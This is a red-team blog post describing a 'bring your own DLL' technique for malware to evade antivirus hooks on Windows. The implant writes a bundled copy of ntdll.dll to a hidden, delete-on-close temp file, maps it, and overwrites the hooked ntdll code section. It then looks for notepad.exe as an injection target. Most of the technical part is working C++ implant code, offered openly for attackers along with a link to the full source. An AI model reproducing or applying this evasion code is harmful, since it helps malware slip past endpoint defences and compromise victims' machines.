---
description: >-
  Using our own copy of ntdll.dll, our implant will clear AV hooks and execute a
  malicious payload.
---

# Unholy Unhooking: byoDLL

### Part One: Introduction

If you've been paying attention to some of the recent news in malware development, then you've probably noticed that the death of Halo's Gate is coming.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FnhNt1RjJTn02VSkO1jkC%2Fimage.png?alt=media&#x26;token=95992931-9811-49b3-8fe7-c467975ea377" alt=""><figcaption><p>Graphic from: <a href="https://github.com/Bw3ll/ShellWasp">https://github.com/Bw3ll/ShellWasp</a></p></figcaption></figure>

In short, Microsoft has implemented a new syscall numbering system on WOW64 that effectively breaks the underlying assumptions about syscall numbers that Halo's Gate uses to unhook executables. Because the latest Windows builds do not have directly incrementing numbers, Halo's gate will fail and exploits on these newer systems will become detectable.

There's a couple of remaining tricks that resolve this issue, Perun's Fart and a modified Hell's Gate could do the trick, but Perun's Fart relies on creating a sacrificial suspended process and then accessing that process' memory in order to get a clean copy of ntdll. Creating suspended processes is an OPSEC expensive operation, and modifying Hell's Gate may work for the near future, but future changes to the numbering could kill that methodology as well.

{% hint style="info" %}
Thanks to [@woolgatherer99](https://twitter.com/woolgatherer993) for pointing out that the new syscall numbering only applies to WOW64
{% endhint %}

### Part Two: Bringing Back the Classics

The classic unhooking methodology is to load a clean copy of ntdll from disk, and thereby clear the hooks from our hooked dll. In this write up, we're going to explore a deviation of that process. Instead of loading a clean copy of ntdll.dll from disk, we're going to bring our own dll (byoDLL) to our target system, load it during execution, and then execute some malicious code.

This variation of the classic unhooking methodology allows attackers to deploy small probing malware that determines the Windows build version, download a copy of ntdll.dll from a control server, deploy it in the target environment, and finally load the main malware. We're going to simulate some of this workflow by simply hardcoding our copy of ntdll into our implant, but this is just a proof of concept (PoC) for the proposed methodology above. More advanced techniques are up to you.

### Part Three: tHe c0de

Rather than calling LoadLibrary, we're going to open the file, map the contents, and then use the contents to overwrite the .text section of our hooked .dll. In essence this is the same as the classic methodology, with the added step of writing your dll to disk with the "FILE\_FLAG\_DELETE\_ON\_CLOSE | FILE\_ATTRIBUTE\_TEMPORARY | FILE\_ATTRIBUTE\_HIDDEN" flags which should help retain OPSEC.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FdXFZv2z6KpfyEg01FE4X%2Fimage.png?alt=media&#x26;token=ff9a97b7-3b9e-4f5d-bc62-0e9330eafc12" alt=""><figcaption></figcaption></figure>

The entire code can be found on my Github, but the most interesting bits are below.

<pre class="language-cpp"><code class="lang-cpp"><strong>printf("Creating file...\n");
</strong>// create a hidden temp file
fileHandle = CreateFileA( lpFileName, GENERIC_ALL, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE | FILE_ATTRIBUTE_TEMPORARY | FILE_ATTRIBUTE_HIDDEN, NULL);
if(fileHandle == INVALID_HANDLE_VALUE){
	printf("FAILED TO CREATE FILE!\n");
	return -1;
}
		
printf("Writing to file...\n");
// write to file
if(!WriteFile(fileHandle,(LPCVOID) raw_ntdll, (DWORD) raw_ntdll_len, lpNumberOfBytesWritten, lpOverlapped)){
	printf("FAILED TO WRITEFILE!\n");
	return -1;
}
		
// prepare file mapping
printf("Creating file mapping...\n");
hFileMapping = CreateFileMappingA_p(fileHandle, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (! hFileMapping) {
	// file mapping failed
	printf("FAILED MAPPING OF FILE!\n");
	CloseHandle(fileHandle);
	return -1;
}
		
// map the bastard
printf("Creating map view...\n");
pMapping = MapViewOfFile_p(hFileMapping, FILE_MAP_READ, 0, 0, 0);
if (!pMapping) {
	// mapping failed
	printf("FAILED MAPVIEW OF FILE!\n");
	CloseHandle(hFileMapping);
	CloseHandle(fileHandle);
	return -1;
}
	
//unhook our program
printf("Setup complete...unhook?\n");
getchar();
ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), (LPVOID) pMapping);
printf("Unhooking process complete.\n");
printf("Cleaning up...\n\n");
	
// Clean up.
UnmapViewOfFile_p(pMapping);
CloseHandle(hFileMapping);
CloseHandle(fileHandle);
//DeleteFileA(lpFileName); //explicit deleting in case the file survives
	
printf("Looking for target...\n");
pid = FindTarget("notepad.exe");
</code></pre>

### Part Four: ????

\[Intentionally Left Blank]

### Part Five: Profit

Hooked NtCreateThreadEx:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FcAYavn3V0SI0EGunGrvK%2Fimage.png?alt=media&#x26;token=2eb0296f-5f9f-45ce-9421-4590586a92e0" alt=""><figcaption></figcaption></figure>

Unhooked NtCreateThreadEx:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FQIjdbXOEZ1amyGEuZLac%2Fimage.png?alt=media&#x26;token=7523fae6-9bc4-4f36-8c8d-6d826eb714e8" alt=""><figcaption></figcaption></figure>

Hitting NtCreateThreadEx in execution:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FYxO5a9OOI7YeuOhsmlAu%2Fimage.png?alt=media&#x26;token=a62db13b-05b4-4c89-be74-6538521867bd" alt=""><figcaption></figcaption></figure>

Result:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FFobNSzhE7Ifwtd0I7jH8%2Fimage.png?alt=media&#x26;token=2d07b6e4-6691-4bc3-b41c-703913dfcdf6" alt=""><figcaption></figcaption></figure>

### References

[My code](https://github.com/0xTriboulet/Red_Team_Code_Snippets/tree/main/Cpp/BYOdll/version1)

[https://www.sektor7.net/](https://www.sektor7.net/)

{% embed url="https://github.com/Bw3ll/ShellWasp" %}

